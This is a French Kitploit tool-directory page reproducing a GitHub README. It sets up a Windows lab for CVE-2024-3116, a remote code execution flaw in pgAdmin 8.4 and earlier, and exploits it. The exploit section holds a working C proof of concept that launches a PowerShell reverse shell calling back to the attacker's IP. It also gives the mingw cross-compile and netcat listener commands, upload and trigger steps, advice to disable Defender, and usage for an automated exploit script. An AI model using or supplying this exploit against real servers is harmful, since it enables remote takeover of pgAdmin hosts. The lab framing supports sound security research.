Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-3116_RCE_in_pgadmin_8.4 — Création d'un laboratoire et test de la CVE-2024-3116, une exécution de code à distance dans pgadmin <=8.4 | Kitploit
Outils/GitHubGitHub/techieneurons/cve-2024-3116_rce_in_pgadmin_8.4
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges UtilesLabs et Pratique
GitHubtechieneurons/cve-2024-3116_rce_in_pgadmin_8.4

CVE-2024-3116_RCE_in_pgadmin_8.4

Création d'un laboratoire et test de la CVE-2024-3116, une exécution de code à distance dans pgadmin <=8.4

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
132il y a 2 ansPas encore vérifié

CVE-2024-3116_RCE_in_pgadmin_8.4

Création d’un lab et test de la CVE-2024-3116, une exécution de code à distance dans pgadmin <=8.4

Je me suis basé sur cet article.

Installation du lab

Tout d’abord, une petite remarque sur ce lab : la documentation de pgadmin est assez mauvaise et je n’ai trouvé aucune trace de quelqu’un installant pgadmin sur Windows...

  1. L’auteur indique que la vulnérabilité n’est présente que sur Windows, j’utiliserai donc la VM Windows 11 fournie par Microsoft (ici)
  2. Après l’installation de la VM, j’installe python 3.10.0 (j’ai fait quelques tests avec 3.11 et 3.12 mais j’ai eu des problèmes de dépendances, alors on reste avec 3.10)
  3. Installer postgresql 16.2 (sans pgadmin, et j’ai mis « password » comme mot de passe pour mon postgresql, pas très important dans notre cas)
  4. Il est recommandé d’installer pgadmin dans un virtualenv python, j’ai essayé et ça n’a pas fonctionné alors F*CK VENV !
  5. Mettre à jour pip : python -m pip install -U pip
  6. Installer wheel : python -m pip install wheel
  7. Télécharger la source : https://www.postgresql.org/ftp/pgadmin/pgadmin4/ > 8.4 > pip > télécharger le fichier .whl
  8. Installer pgadmin4 : python -m pip install C:\Users\User\Downloads\pgadmin4-8.4-py3-none-any.whl
    • Dossier d’installation : C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4
  9. Configurons :
    • Dans le fichier : C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4\config_local.py, ajoutez la ligne suivante :
    root@kitploit:~
    LOG_FILE = r'C:\Users\User\pgadmin4\log\pgadmin4.log'
    SQLITE_PATH = r'C:\Users\User\pgadmin4\pgadmin4.db'
    SESSION_DB_PATH = r'C:\Users\User\pgadmin4\sessions'
    STORAGE_DIR = r'C:\Users\User\pgadmin4\storage'
    SERVER_MODE = True 
    
    • Créez les dossiers qui n’existent pas (pgadmin4\log, pgadmin4\sessions, pgadmin4\storage)
    • Créez le dossier : C:\Users\User\AppData\Roaming\pgAdmin (nécessaire pour setup.py)
    • Dans le dossier d’installation de pgadmin4 (voir 8), lancez : python site-packages/pgadmin4/setup.py setup-db, j’ai mis Email = [email protected] et Password = password (ces email et mot de passe sont importants car nous en avons besoin pour nous connecter à pgadmin)

Ensuite le serveur web :

  1. Installer XAMPP (on peut tout décocher, seul apache est nécessaire)
  2. Ajouter la variable d’environnement : MOD_WSGI_APACHE_ROOTDIR = C:/xampp/apache
  3. Installer mod-wsgi : pip install mod-wsgi
  4. Récupérer la configuration : mod_wsgi-express module-config
  5. Copier le résultat de la commande précédente à la fin du fichier httpd.conf d’apache
  6. Pour finir, lancez le serveur avec (depuis le dossier d’installation de pgadmin) : mod_wsgi-express start-server .\pgAdmin4.wsgi (devrait être accessible sur le port 8000)

Exploitons

J’exploite la vulnérabilité depuis une machine Kali qui est sur le même réseau que le pgadmin.

  • Kali = 192.168.112.128
  • Windows = 192.168.112.162

Encore une fois : cet exploit ne fonctionne que contre pgadmin sous Windows ! Et nous avons besoin d’un utilisateur valide pour exploiter cette vulnérabilité !

  1. Je veux un reverse shell, j’ai donc pris le PoC du blogpost lié au début de ce fichier, j’ai mis l’IP de ma Kali pour tester :
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
	if (argc > 1 && strcmp(argv[1], "--version") == 0) {
    	system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.112.128',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
	} else {
    	printf("Usage: %s --version\n", argv[0]);
	}
	return 0;
}
  1. Comme le PoC est un programme C pour Windows, utilisons un cross-compilateur :
    • Installer un cross-compilateur : sudo apt-get install mingw-w64
    • Créer un fichier avec le PoC mentionné précédemment et compiler avec : x86_64-w64-mingw32-gcc -o pg_restore poc.c compilation windows depuis linux
  2. Le nom du binaire doit être pg_ (ou psql) pour être exécuté, il doit s’agir d’un outil postgresql connu
  3. Lancer Burp et configurer votre navigateur pour passer par Burp afin de voir la requête d’upload
  4. Téléversons ce fichier via l’interface (après connexion avec [email protected]) : Tools > Import/Export Servers > ‘cliquez sur la petite icône de dossier’ > ‘Cliquez sur les trois points en haut à droite de la fenêtre de sélection de fichier et sélectionnez upload’ > ‘sélectionnez le binaire PoC’ requête d’upload du fichier
  5. Pour vérifier, allez sur Windows puis dans le dossier de stockage que nous avons créé (C:\Users\User\pgadmin4\storage), nous pouvons voir le fichier
  6. AUSSI TRÈS IMPORTANT : la réponse à la requête d’upload contient le chemin vers l’exe que nous avons téléversé, ce sera important pour la suite
  7. Lancer un netcat (nc -lvnp 9001) afin de recevoir la réponse : IMPORTANT !!!!!!!!! Defender empêchera l’exécution du binaire (désactivez donc Defender)
  8. Ensuite, allons sur l’interface et cliquons sur : et ajoutons le chemin obtenu dans la réponse à l’upload du fichier dans la zone de texte indiquant en face de postgresql 16, enfin cliquons sur l’icône dans la zone de texte pour déclencher le PoC

Exploit

J’ai écrit un script python pour exploiter cette vulnérabilité automatiquement, il n’y a presque rien à faire.

Choses à savoir avant d’utiliser ce script :

  • Nous avons besoin d’un proxy pour intercepter la réponse du fichier téléversé afin de donner le chemin du fichier au script. Personnellement, j’utilise Burp.
  • Tout le script utilise selenium, vous en aurez donc besoin (pip install selenium)
  • Le script exécute une commande pour compiler le binaire envoyé, vous devez donc installer le cross-compilateur : sudo apt-get install mingw-w64
  • Vous devez lancer un netcat dans un autre terminal avec le port sur lequel vous voulez recevoir la connexion (nc -lvnp <port>)
  • Ce script fournit un reverse shell

Pour utiliser cet exploit, utilisez cette commande : python exploit_cve_2024_3116.py --email <pgadmin_user_email> --password <pgadmin_user_pass> --rhost <http://target_ip_or_domain> --rport <target_port> --lhost <listener_ip> --lport <listener_port>

Démo

Une petite démo : https://youtu.be/zdMC3kbN0Is

Références

Tous ces liens m’ont aidé à installer pgadmin sur Windows :

  • https://www.digitalocean.com/community/tutorials/how-to-install-configure-pgadmin4-server-mode
  • https://www.pgadmin.org/docs/pgadmin4/development/server_deployment.html
  • https://pypi.org/project/mod-wsgi/
  • https://stackoverflow.com/questions/59801387/how-to-install-mod-wsgi-into-apache-on-windows
  • https://stackoverflow.com/questions/44670209/how-to-compile-c-code-in-linux-to-run-on-windows
Télécharger l’outil
File > Preferences > Binary Paths
Enter binary path...
requête déclenchant le poc
  • Profitez ! reverse shell obtenu